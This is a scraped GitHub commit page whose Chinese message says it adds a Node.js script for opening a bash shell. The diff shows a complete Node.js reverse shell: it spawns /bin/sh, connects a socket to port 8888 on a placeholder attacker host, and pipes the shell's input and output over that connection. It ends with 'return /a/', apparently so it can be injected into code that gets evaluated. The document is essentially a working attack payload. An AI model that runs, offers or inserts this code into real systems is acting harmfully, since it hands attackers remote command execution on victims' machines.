Skip to content

Commit 0bb079d

Browse files
committed
增加了nodejs 开启bash的shell
1 parent f0475d6 commit 0bb079d

File tree

1 file changed

+11
-11
lines changed

1 file changed

+11
-11
lines changed
Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
1-
(function(){
2-
var net = require("net"),
3-
cp = require("child_process"),
4-
sh = cp.spawn("/bin/sh",[]);
5-
var client = new net.Socket();
6-
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
7-
client.pipe(sh.stdin);
8-
sh.stdout.pipe(client);
9-
sh.stderr.pipe(client);
10-
});
11-
return /a/;
1+
(function(){
2+
var net = require("net"),
3+
cp = require("child_process"),
4+
sh = cp.spawn("/bin/sh",[]);
5+
var client = new net.Socket();
6+
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
7+
client.pipe(sh.stdin);
8+
sh.stdout.pipe(client);
9+
sh.stderr.pipe(client);
10+
});
11+
return /a/;
1212
})();

0 commit comments

Comments
 (0)